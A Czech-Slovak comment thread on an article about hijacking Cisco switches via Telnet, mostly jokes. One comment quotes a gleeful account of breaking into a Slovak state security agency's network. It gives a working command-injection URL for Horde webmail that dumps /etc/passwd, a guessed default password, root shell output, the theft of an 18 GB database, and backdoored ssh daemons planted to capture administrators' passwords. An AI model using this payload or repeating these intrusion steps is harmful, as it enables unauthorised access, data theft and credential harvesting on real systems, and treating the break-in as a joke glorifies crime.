Názory k článku
Switche Cisco lze unést přes Telnet

S Ciscama jsem se učila na škole 14 let zpátky a už tehdy bylo nutné telnet explicitně zapnout… Takže nevím nevím jak je taková chyba zneužitelná…

Preco. Oni len chcu "free time adminov", tak ako v NeBezpecnostnom Urade SR (oficialne Narodnom Bezpecnostnom Urade SR)

vsetko sa zacalo pri vtipkoch medzi kamaratmi, ktori si vsimli chybu v mailovom rozhrani na adrese webmail.nbusr.sk, pomocou ktorej bolo mozne vykonavat systemove prikazy na serveri. (ja viem, tato veta znie uplne napicu, ale tak nech chapu aj ludia menej zasveteni danej problematike ;))
tym padom bolo mozne prevziat zoznam lokalnych userov na masine.

http://webmail.nbusr.sk/horde/services/help/
?show=about&mo­dule=;%22.pas­sthru(%22cat%20%22.
chr(47).%22et­c%22.chr(47).%22pas­swd%22);%27.

do oci bil najma uzivatel s loginom nbusr
nuz...
kruty vtip - pouzit heslo nbusr123 - nam takmer roztrhol branice - heslo fungovalo (na prvy pokus). ukazalo sa motd a boli sme prihlaseni na masine

po chvilke skumania a behania po stroji sme skusili su na roota utok na branice cislo 2 :)

%su
www.nbusr.sk# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
www.nbusr.sk# uname -a
FreeBSD www.nbusr.sk 6.0-RELEASE FreeBSD 6.0-RELEASE #0:Thu Nov 3 UTC 2005 root@x64.samsco­.home:/usr/ob­j/usr/src/sys/GE­NERIC i386
www.nbusr.sk#

nbusr@archive> su
Password:
nbusr@archive# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)
nbusr@archive# uname -a
FreeBSD archive.nbusr.sk 4.10-STABLE FreeBSD 4.10-STABLE #1: Mon Feb 14 14:47:10
CET 2005 root@archive.nbus­r.sk:/usr/src/sys/com­pile/ARCHIVE i386
nbusr@archive#

dalsi zachvat branice..

z archivu sme si odniesli cca 18 gb databazu taktiez zaujimavou masinou bolo ep.nbusr.sk ;)

po ziskani tohoto hesla sa nam otvorila v podstate cela siet, kedze heslo fungovalo na vsetky ostatne zariadenia unixoveho (servre) alebo sietoveho charakteru (cisco routre/switche). vecer sa nasadili na masiny zabackdoorovane ssh demony, ktore nam zaznamenavali pohyb adminov po dalsich strojoch (aj s heslami of course :) )
http://linuxos.sk/blackhole/clanok/442/

Já unesu i tři Cisco switche najednou. I bez telnetu. Stačí mi na to ruce... :-)

Unest je neni problem, ale jeste to chce najit kupce a to vse tak, aby te policajti nechytili.

Já je většinou PŘINESU :-) Když je ODNESU tak zase do jiné serverovny. Ale zatím je pořád UNESU. Až budu starší, bude to horší :-)